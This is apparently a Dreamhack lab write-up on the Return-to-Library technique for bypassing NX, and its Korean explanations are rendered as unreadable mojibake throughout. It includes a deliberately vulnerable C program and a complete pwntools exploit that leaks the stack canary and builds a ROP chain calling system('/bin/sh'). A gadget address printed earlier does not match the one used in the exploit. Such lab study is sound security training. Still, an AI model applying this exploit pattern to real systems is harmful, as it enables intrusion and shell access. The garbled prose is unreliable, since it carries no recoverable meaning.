[dreamhack] Return to Library
- Return Address Overwrite: ๋ฐํ ์ฃผ์๋ฅผ ์ ์ฑ ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ ์ ธ ํ๋
- Stack Canary: ์คํ ํ๋ ์์ ๋ฐํ ์ฃผ์ ์ ์ ๋๋คํ ์นด๋๋ฆฌ๋ฅผ ์ฃผ์ ํ์ฌ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๊ธฐ ์ด๋ ต๊ฒ ํจ
- Return to Shellcode: ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ์ ธ ์ฝ๋๋ฅผ ์ฃผ์ ํ ๋ฒํผ์ ์ฃผ์๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ ์ ธ ํ๋
- ASLR: ์์ ๋ฒํผ์ ์ฃผ์๋ฅผ ์๊ธฐ ์ด๋ ต๊ฒ ํจ
- NX: ๊ฐ ์ธ๊ทธ๋จผํธ์ ๋ถํ์ํ ์คํ๊ถํ์ ์ ๊ฑฐํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๊ฐ ์์ ๋ฒํผ์ ์ฃผ์ ํ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ด๋ ต๊ฒํจ
Return to Library -> NX๋ฅผ ์ฐํํ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ
NX๋ก ์ธํด ์ฝ๋ ์์ญ ์ธ์๋ ์คํ๊ถํ์ด ์์ด์ง๊ธฐ ๋๋ฌธ์ ์คํ๊ถํ์ด ๋จ์์๋ ์ฝ๋ ์์ญ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ณ ์ํ๋ค.
ํ๋ก์ธ์ค์ ์คํ ๊ถํ์ด ์๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ผ๋ฐ์ ์ผ๋ก ๋ฐ์ด๋๋ฆฌ์ ์ฝ๋ ์์ญ๊ณผ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ฐธ์กฐํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ฝ๋ ์์ญ์ด๋ค.
๊ณต๊ฒฉ์๋ค์ libc์ ํจ์๋ค(๋ค์ํ ํจ์ ๊ตฌํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ)๋ก NX๋ฅผ ์ฐํํ๊ณ ์ ธ์ ํ๋ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ฐ๋ฐํ์๊ณ , ์ด๋ฅผ Return To Libc๋ผ๊ณ ํ์๋ค.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
// ASLR ์ด ์ ์ฉ๋ผ๋ PIE๊ฐ ์ ์ฉ๋์ง ์์ผ๋ฉด ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ฃผ์๋ ๊ณ ์
// ์ฆ "/bin/sh"์ ์ฃผ์๋ ๊ณ ์
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
1) "bin/sh" ๋ฅผ ์ฝ๋ ์น์ ์ ์ถ๊ฐ (์ฃผ์๋ ๊ณ ์ ์ NO PIE ์ด๋ฏ๋ก)
2) system ํจ์๋ฅผ PLT์ ์ถ๊ฐ
- ASLR์ด ๊ฑธ๋ ค์์ด๋ PIE๊ฐ ์ ์ฉ๋์ด ์์ง ์๋ค๋ฉด PLT์ ์ฃผ์๋ ๊ณ ์
- ๋ฌด์์๋ก ๋งคํ๋๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ ์ด์ค ์ฃผ์๋ ๋ชฐ๋ผ๋ ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ฅผ ์คํํ ์ ์์
์ต์คํ๋ก์ ์๋๋ฆฌ์ค
1. ์นด๋๋ฆฌ ์ฐํ -> ์ ์ ํ ๊ธธ์ด๋ก buf๋ฅผ ์ ๋ ฅ๋ฐ์ผ๋ฉด ์นด๋๋ฆฌ๊น์ง ํจ๊ป ์ถ๋ ฅ ๊ฐ๋ฅํ ๋ฏ?? ( ์ฒซ๋ฒ์งธ ์ ๋ ฅ )
2. rdi๊ฐ์ “/bin/sh”์ ์ฃผ์๋ก ์ค์ ๋ฐ ์ ธ ํ๋
- NX๋ก ์ธํด buf์ ์ ธ์ฝ๋ ์ฃผ์ ํ๊ณ ์ด๋ฅผ ์คํํ๋ ๊ฒ์ ๋ถ๊ฐ ์ฆ, ๋ค๋ฅธ๋ฐฉ๋ฒ์ผ๋ก ์ ธ์ ํ๋ํด์ผํจ!
- ์ฐ๋ฆฌ๊ฐ ์ ๊ณ ์๋ ๊ฒ : "/bin/sh"์ ์ฃผ์, system ํจ์์ PLT ์ฃผ์
- system("/bin/sh")์ ํธ์ถ ํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค. (rdi = "/bin/sh")
๋ฆฌํด ๊ฐ์ ฏ?
- ret๋ก ๋๋๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ
- ๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ๋ฐํ ์ฃผ์์ ์ดํ์ ๋ฒํผ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ฎ์ผ๋ฉด, pop rdi๋ก rdi๋ฅผ “/bin/sh”์ ์ฃผ์๋ก ์ค์ ํ๊ณ , ์ด์ด์ง๋ ret๋ก system ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
๋ฆฌํด ๊ฐ์ ฏ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ค์ํ์ง๋ง, ์ผ๋ฐ์ ์ผ๋ก ROPgadget ์ฌ์ฉ!
python3 -m pip install ROPgadget --user
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
์์ ๊ฐ์ด --re ์ต์ ์ ์ด์ฉํด ์ฐพ๊ณ ์ถ์ ๊ฐ์ ฏ์ ํํฐ๋งํ๋ค.
์ผํธ์ 16์ง์๋ก ์ ํ ์ฃผ์๊ฐ ๊ฐ์ ฏ์ ์ฃผ์์ด๋ค.
์ด์ ์ต์คํ๋ก์์ ํด๋ณด์!
1. ์นด๋๋ฆฌ ์ฐํ
์ด์ ๊ฐ์ด buf๋ถํฐ rbp๊น์ง์ ๊ฑฐ๋ฆฌ๋ 0x40์ด๋ค.
์ฆ buf๋ถํฐ canary๊น์ง์ ๊ฑฐ๋ฆฌ๋ 0x40-0x08 = 0x38์ด๋ค.
์ฆ ์ฐ๋ฆฌ๋ 0x38 + 1 = 0x39 byte ๋งํผ ์๋ฌด๋ฌธ์๋ก ์ฑ์์ฃผ๋ฉด ์นด๋๋ฆฌ ๊ฐ๊น์ง ํจ๊ป ์์๋ผ ์ ์๋ค.
# leak canary
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recv(7))
print("canary: ", hex(cnry))
๊ณต๊ฒฉ ์ฝ๋๋ก ๋ฐ๊ฟ๋ณด๋ฉด ์ด๋ฌํ๋ค.
2. ๋ฆฌํด ๊ฐ์ ฏ
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
๋ค์๊ณผ ๊ฐ์ด ๊ฐ์ ฏ์ ๊ตฌ์ฑํ๊ณ ์คํํ๋ฉด system(“/bin/sh”) ์ ์คํํ ์ ์๋ค!
"/bin/sh"์ ์ฃผ์๋ pwndbg์์
search /bin/sh
์ ์ ๋ ฅํด ์ฐพ์ ์ ์๋ค.
๋ํ ์ํ๋ PLT ์ฃผ์๋ pwntools์ ELF๋ฅผ ์ด์ฉํด ์ฐพ์ ์ ์๋ค.
pop rdi ๊ฐ์ ฏ ์ฃผ์!
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
context.arch = "amd64"
# 1) leak canary
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recv(7))
print("canary: ", hex(cnry))
# 2) exploit
system_plt = e.plt["system"]
binsh = 0x402004
ret = 0x000000000040101a # ์๋ฌด ๊ฐ์ ฏ์ด๋ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค. (์ผ๋ฐ์ ์ผ๋ก ret)
pop_rdi = 0x0000000000401333
payload = b"B"*0x38 # buf2cnry
payload += p64(cnry) # cnry
payload += b"C"*0x08 # sfp
payload += p64(ret) # system ํจ์๋ก ์ด๋ํ ๋ ์คํ์ 16๋ฐ์ดํธ ๋จ์๋ก ์ ๋ ฌ๋์ด์์ด์ผํด์ ๋ฃ์ด์ฃผ๋ ์ฝ๋
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
[์ถ์ฒ]
๋๋ฆผํต